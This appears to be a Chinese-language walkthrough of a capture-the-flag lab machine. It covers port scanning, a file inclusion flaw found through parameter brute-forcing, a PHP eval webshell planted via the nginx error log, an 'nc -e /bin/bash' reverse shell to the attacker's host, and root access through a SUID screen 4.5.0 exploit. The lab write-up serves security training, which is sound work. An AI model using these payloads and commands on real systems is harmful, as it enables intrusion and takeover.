对于这个靶机的提权部分,我这里并没有什么拆分成三份文件的做法,直接赋权执行就可以拿到root了,不懂为什么要复杂化,之前也是问过一些做的人,他们都说网上都这样子去做,但是我不太懂那样做的原因,如果有懂的大佬,还希望能帮我解答一下,谢谢。
信息收集
首先查看一下我们kali的ip地址和网段
输入命令:
ifconfig //查看当前虚拟机ip地址
可以得到信息,我们kali的ip是192.168.187.133 网段是192.168.187.0/24
查看虚拟机网关
输入命令:
route -n //查看网关
可以知晓我们的网关是192.168.187.2
接下来我们这里使用arp-scan生成网络接口地址,排除掉错误信息,可以发现目标ip为192.168.187.137
nmap端口开放扫描
TCP
输入命令:
nmap -min-rate 10000 -p- 192.168.187.137
可以到开放3个端口
UDP
输入命令:
sudo nmap -sU -min-rate 10000 -p- 192.168.187.137
发现也开放了2个端口
nmap端口信息扫描
输入命令:
nmap -sC -sT -A -p 80,111,55068 192.168.187.137
除了80端口,还有2个rpc端口
nmap漏洞脚本扫描
输入命令:
nmap --script=vuln -p 80,111,55068 192.168.187.137
但是没有发现什么可以直接利用的漏洞
登录web端
在浏览器输入192.168.187.137进行搜索。
通过wappalyzer可以查看他的服务器部署是nginx。
我们可以使用工具对这个目录进行扫描查看有没有子目录。
输入命令:
dirb http://192.168.187.137
还可以使用工具gobuster来扫描
输入命令:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.137
这里扫描到了两个子目录
/images
/css
我们登陆下这两个界面,发现也没有得到有用的信息。
dirsearch工具
dirsearch是一个基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口。
输入命令:
dirsearch -u http://192.168.187.137
可以搜集到这些信息,可以登陆查看一下
最终查找一番后,我们可以在contact这个页面下,找到可以互动的地方
这里我们随便写个东西提交一下,看看有没有什么信息展示出来。
文件包含
嗯??刚刚这里还是2019,现在就成了2018了?有问题。再看一下上面的url信息,发现我们刚刚输入的123已经展示在url上面,抓包一下看看有没有发现。
这里先打开我们的(foxyproxy)火狐代理。
然后打开我们的burpsuite,将我们的代理打开也就是调整为on的状态。
设置好以后,我们这里再重新输入信息,进行抓包。
发现这里已经截取到了信息内容。
我们这里将信息发送到repeater模块,右键点击send to repeater
这里我们进入到repeater模块,点击send发送后发现,这里一直再改变。
再次点击send后发现还在改变。
结合之前的信息,我们提交信息时,是用到了这个thankyou.php,但是在代码中可以看到这个footer下的Copyright © 2017也会改变,推测八成是thankyou.php对footer.php文件进行了文件包含。
bp爆破参数名
这里我们爆破一下参数名,首先右键将信息发送到intruder入侵模块
然后进入到intruder模块中我们这样设置。
我们首先将上面的信息删除掉。
接下里我们随便猜测一下他的参数名,这里如图所示
由于我们要爆破参数名,这里要将我们设置的参数名abc添加标记,选中abc点击右边的add
然后点击旁边的payloads
点击add from list ,选择filenames,确定以后点击右上角开始爆破。
发现爆破成功,参数名为file
这里尝试一下我们的参数名是否有效,返回到我们刚刚的repeater界面,将参数修改一下,改为file=/etc/passwd,然后点击send发送。
发现成功显示出用户信息。文件包含确实存在。
上传一句话木马
我们这里就可以利用文件包含来反弹shell,即先用bp向日志文件写入一句话木马
<?php eval(@$_POST['a']); ?> //一句话木马
然后通过日志文件执行命令,连接蚁剑
首先我们可以通过burpsuite来向这个靶机的日志文件中上传一句话木马,我们在刚刚的repeater模块里,再次修改信息。然后点击send
中国蚁剑连接
然后我们就可以使用蚁剑来连接我们上传的一句话木马,这里搜索了一下ngnix的日志文件路径,发现是在/var/log/nginx/error.log,
尝试测试连接成功了
那我们可以在蚁剑的虚拟终端里使用nc命令回弹到kali中
首先在我们的kali中设置一个监听端口
然后在蚁剑中
输入命令:
nc -e /bin/bash 192.168.187.128 8888
回到kali中即可发现反弹成功。
交互式shell
输入命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
suid提权
这里使用suid提权
输入命令:
find / -perm -4000 2>/dev/null
这里要利用的是这个文件
直接 kali 里搜索screen 4.5.0 的漏洞,发现了两个漏洞
这里尝试第一个文件能否成功,先将文件拷贝到本地
开启http临时服务
wget下载
然后在靶机中的/tmp目录下载这个文件
赋权执行
然后赋予文件可执行权限然后执行
拿到flag
发现成功提权到root用户了,然后我们在/root下拿到最终的flag